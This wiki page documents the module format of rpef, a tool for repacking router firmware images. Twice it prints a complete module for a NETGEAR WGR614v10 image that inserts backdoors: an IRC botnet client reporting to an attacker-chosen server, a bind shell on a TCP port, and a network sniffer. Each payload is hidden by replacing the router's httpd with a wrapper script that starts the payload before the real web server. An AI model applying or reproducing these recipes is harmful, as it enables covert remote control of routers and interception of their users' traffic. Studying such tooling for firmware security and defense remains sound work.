Skip to content

Module Documentation

Michael Coppola edited this page Feb 23, 2014 · 2 revisions

rpef offers a command language interface that assists with the manipulation of firmware images. Modules implement this command language to manipulate firmware images in a specific way.

Each module targets one firmware image. Modules map to one firmware image rather than one router, because it is common for one firmware image to be used across multiple routers.

Directory Structure

All available modules are organized within the rules/ directory. The first level organizes modules by vendor. For example:

  • D-Link/
  • Linksys/
  • NETGEAR/
  • TRENDnet/

Modules reside within these vendor directories and follow a loose naming scheme of the firmware name/version. For example:

  • WGR614v10_1.0.2.26NA/
  • WGR614v8_1.2.10NA/
  • WGR614v9_1.2.30NA/
  • WNR1000v3_1.0.2.26NA/

Various files and directories reside within each module:

  • dependencies/ (optional)
  • payloads/
  • properties.json

The dependencies/ directory is optional and organizes potential dependency files needed by the module.

The payloads/ directory is required and organizes pre-compiled payloads to be deployed during execution of the module.

The properties.json file is required and implements the command language to manipulate the target firmware image. Metadata about the module and target firmware image is also stored here.

properties.json

The properties.json file uses the JSON format and follows a specific structure. The following excerpt is an example properties.json from the NETGEAR WGR614v10 module (83837b25249f619ba90960a45e009ff3):

{
  "Meta":{
    "Targets":[
      {
        "Vendor":"NETGEAR",
        "Model":"WGR614v10",
        "Version":"1.0.2.26NA",
        "Status":"Verified"
      }
    ],
    "Authors":[
      "Michael Coppola"
    ],
    "Date":"April 15, 2012",
    "Size":2580538,
    "NeedsRoot":false,
    "Filename":"WGR614v10-V1.0.2.26_51.0.59NA.chk",
    "Download":"http://www.downloads.netgear.com/files/WGR614v10-V1.0.2.26_51.0.59NA.chk",
    "Checksum":"83837b25249f619ba90960a45e009ff3"
  },
  "OrderOfOperations":[
    "ExtractParts",
    "UnpackFS",
    "_PAYLOAD_",
    "BuildFS",
    "PackImage",
    "PadImage",
    "GenerateCHK"
  ],
  "ExtractParts":{
    "Description":"Extracting parts from firmware image",
    "Steps":[
      ["extract", "_FIRMWARE_IMG_", 58, 592608, "/headerkernel.bin"],
      ["extract", "_FIRMWARE_IMG_", 592666, 1986377, "/filesystem.bin"]
    ]
  },
  "UnpackFS":{
    "Description":"Unpacking filesystem",
    "Steps":[
      ["unsquashfs-1.3-lzma", "/filesystem.bin", "/extracted_fs"]
    ]
  },
  "BuildFS":{
    "Description":"Building filesystem",
    "Steps":[
      ["mksquashfs-3.0-lzma", "/extracted_fs", 65536, "le", "/newfs.bin"],
      ["freewrite", "/newfs.bin", 0, "shsq"]
    ]
  },
  "PackImage":{
    "Description":"Gluing parts together",
    "Steps":[
      ["touch", "_TARGET_IMG_"],
      ["appendfile", "/headerkernel.bin", "_TARGET_IMG_"],
      ["appendfile", "/newfs.bin", "_TARGET_IMG_"]
    ]
  },
  "PadImage":{
    "Description":"Padding image with null bytes",
    "Steps":[
      ["pad", "_TARGET_IMG_", 0, 2580480]
    ]
  },
  "GenerateCHK":{
    "Description":"Generating CHK header",
    "Steps":[
      ["packet", "_TARGET_IMG_", "dependencies/compatible_WGR614v10.txt", "dependencies/ambitCfg_NA_WGR614v10.h"]
    ]
  },
  "Payloads":{
    "botnet":{
      "Description":"Remotely control device via IRC",
      "Steps":[
        ["cp", "payloads/botnet", "/extracted_fs/usr/sbin/botnet"],
        ["mv", "/extracted_fs/usr/sbin/httpd", "/extracted_fs/usr/sbin/httpd.bak"],
        ["touch", "/extracted_fs/usr/sbin/httpd"],
        ["appendtext", "#!/bin/msh\n", "/extracted_fs/usr/sbin/httpd"],
        ["appendtext", "/usr/sbin/botnet _IP_ _PORT_ \\_CHANNEL_ _PREFIX_ &\n", "/extracted_fs/usr/sbin/httpd"],
        ["appendtext", "/usr/sbin/httpd.bak\n", "/extracted_fs/usr/sbin/httpd"],
        ["chmod", "0777", "/extracted_fs/usr/sbin/httpd"]
      ],
      "Variables":{
        "_IP_":"IPv4 address of IRC server",
        "_PORT_":"Port of IRC server",
        "_CHANNEL_":"Channel to join (include #)",
        "_PREFIX_":"Prefix of bot nick"
      }
    },
    "bind":{
      "Description":"Bind shell on TCP port",
      "Steps":[
        ["cp", "payloads/bind", "/extracted_fs/usr/sbin/bind"],
        ["mv", "/extracted_fs/usr/sbin/httpd", "/extracted_fs/usr/sbin/httpd.bak"],
        ["touch", "/extracted_fs/usr/sbin/httpd"],
        ["appendtext", "#!/bin/msh\n", "/extracted_fs/usr/sbin/httpd"],
        ["appendtext", "/usr/sbin/bind _PORT_ /bin/msh &\n", "/extracted_fs/usr/sbin/httpd"],
        ["appendtext", "/usr/sbin/httpd.bak\n", "/extracted_fs/usr/sbin/httpd"],
        ["chmod", "0777", "/extracted_fs/usr/sbin/httpd"]
      ],
      "Variables":{
        "_PORT_":"Port to listen on"
      }
    },
    "sniff":{
      "Description":"Sniff traffic on the network",
      "Steps":[
        ["cp", "payloads/sniff", "/extracted_fs/usr/sbin/sniff"],
        ["mv", "/extracted_fs/usr/sbin/httpd", "/extracted_fs/usr/sbin/httpd.bak"],
        ["touch", "/extracted_fs/usr/sbin/httpd"],
        ["appendtext", "#!/bin/msh\n", "/extracted_fs/usr/sbin/httpd"],
        ["appendtext", "/usr/sbin/sniff _TARGET_ _LISTEN_ &\n", "/extracted_fs/usr/sbin/httpd"],
        ["appendtext", "/usr/sbin/httpd.bak\n", "/extracted_fs/usr/sbin/httpd"],
        ["chmod", "0777", "/extracted_fs/usr/sbin/httpd"]
      ],
      "Variables":{
        "_TARGET_":"Sniff TCP traffic on port",
        "_LISTEN_":"Port to listen on"
      }
    }
  }
}

Only the "Meta" and "OrderOfOperations" objects are technically required. However, only defining these two objects will make your module really, really boring.

The "Meta" object contains a number of data points about the module itself and the firmware image it targets.

The "OrderOfOperations" object is an enumeration of other objects containing command language to be executed. The command language objects will be executed in the order which they are arranged in "OrderOfOperations".

Command Language Objects

Command language objects may be mostly arbitrary in name and functionality but must adhere to the following format:

"Name":{
  "Description":"Short and sweet description of the commands' overall purpose",
  "Steps":[
    ["command_1", "argument1", "argument2", 3, "argument 4"],
    ["command_2", "argument1", 2, 3],
    ["command_n", "argument1", "argument2"]
  ]
}

Variables

Command language objects also support the ability to prompt the user for input during execution by using variables:

"Name":{
  "Description":"Short and sweet description of the commands' overall purpose",
  "Steps":[
    ["command_1", "_VARIABLE_", "argument2", 3, "argument 4"],
    ["command_2", "argument1", 2, 3],
    ["command_n", "argument1", "_SOMETHING_"]
  ],
  "Variables":{
    "_VARIABLE_":"Prompt for variable 1",
    "_SOMETHING_":"Gief meh inputs"
  }
}

Variables follow the regex format of [A-Z]+, or a single capitalized word surrounded by underscores. When used, a new "Variables" object containing a mapping of the variable name to the user prompt must be constructed within the command language object. Using the example above, when executed the user would be prompted like so:

[+] INPUT REQUIRED, Prompt for variable 1:
[+] INPUT REQUIRED, Gief meh inputs:

Special Variables

Command language objects may reference certain special variables during execution:

  • _FIRMWARE_IMG_ - Input file supplied at the command line
  • _TARGET_IMG_ - Output file supplied at the command line

The following excerpt exemplifies use of a special variable:

"ExtractParts":{
  "Description":"Extracting parts from firmware image",
  "Steps":[
    ["extract", "_FIRMWARE_IMG_", 58, 592608, "/headerkernel.bin"],
    ["extract", "_FIRMWARE_IMG_", 592666, 1986377, "/filesystem.bin"]
  ]   
}

Special variables do not prompt the user during execution and do not require a "Variables" object.

Payload Objects

The "Payload" object is an enumeration of one or more command language objects with the purpose of deploying a payload. Since a module may contain more than one payload, a special _PAYLOAD_ value is used in "OrderOfOperations" which signals rpef to execute the chosen command language object under "Payload" based on command line input.

For example, using the _PAYLOAD_ value in "OrderOfOperations" would look like:

"OrderOfOperations":[
  "ExtractParts",
  "UnpackFS",
  "_PAYLOAD_",
  "BuildFS",
  "PackImage",
  "PadImage",
  "GenerateCHK"
]

And a valid "Payload" object would look like:

"Payloads":{
  "botnet":{
    "Description":"Remotely control device via IRC",
    "Steps":[
      ["cp", "payloads/botnet", "/extracted_fs/usr/sbin/botnet"],
      ["mv", "/extracted_fs/usr/sbin/httpd", "/extracted_fs/usr/sbin/httpd.bak"],
      ["touch", "/extracted_fs/usr/sbin/httpd"],
      ["appendtext", "#!/bin/msh\n", "/extracted_fs/usr/sbin/httpd"],
      ["appendtext", "/usr/sbin/botnet _IP_ _PORT_ \\_CHANNEL_ _PREFIX_ &\n", "/extracted_fs/usr/sbin/httpd"],
      ["appendtext", "/usr/sbin/httpd.bak\n", "/extracted_fs/usr/sbin/httpd"],
      ["chmod", "0777", "/extracted_fs/usr/sbin/httpd"]
    ],
    "Variables":{
      "_IP_":"IPv4 address of IRC server",
      "_PORT_":"Port of IRC server",
      "_CHANNEL_":"Channel to join (include #)",
      "_PREFIX_":"Prefix of bot nick"
    }
  },
  "bind":{
    "Description":"Bind shell on TCP port",
    "Steps":[
      ["cp", "payloads/bind", "/extracted_fs/usr/sbin/bind"],
      ["mv", "/extracted_fs/usr/sbin/httpd", "/extracted_fs/usr/sbin/httpd.bak"],
      ["touch", "/extracted_fs/usr/sbin/httpd"],
      ["appendtext", "#!/bin/msh\n", "/extracted_fs/usr/sbin/httpd"],
      ["appendtext", "/usr/sbin/bind _PORT_ /bin/msh &\n", "/extracted_fs/usr/sbin/httpd"],
      ["appendtext", "/usr/sbin/httpd.bak\n", "/extracted_fs/usr/sbin/httpd"],
      ["chmod", "0777", "/extracted_fs/usr/sbin/httpd"]
    ],
    "Variables":{
      "_PORT_":"Port to listen on"
    }
  },
  "sniff":{
    "Description":"Sniff traffic on the network",
    "Steps":[
      ["cp", "payloads/sniff", "/extracted_fs/usr/sbin/sniff"],
      ["mv", "/extracted_fs/usr/sbin/httpd", "/extracted_fs/usr/sbin/httpd.bak"],
      ["touch", "/extracted_fs/usr/sbin/httpd"],
      ["appendtext", "#!/bin/msh\n", "/extracted_fs/usr/sbin/httpd"],
      ["appendtext", "/usr/sbin/sniff _TARGET_ _LISTEN_ &\n", "/extracted_fs/usr/sbin/httpd"],
      ["appendtext", "/usr/sbin/httpd.bak\n", "/extracted_fs/usr/sbin/httpd"],
      ["chmod", "0777", "/extracted_fs/usr/sbin/httpd"]
    ],
    "Variables":{
      "_TARGET_":"Sniff TCP traffic on port",
      "_LISTEN_":"Port to listen on"
    }
  }
}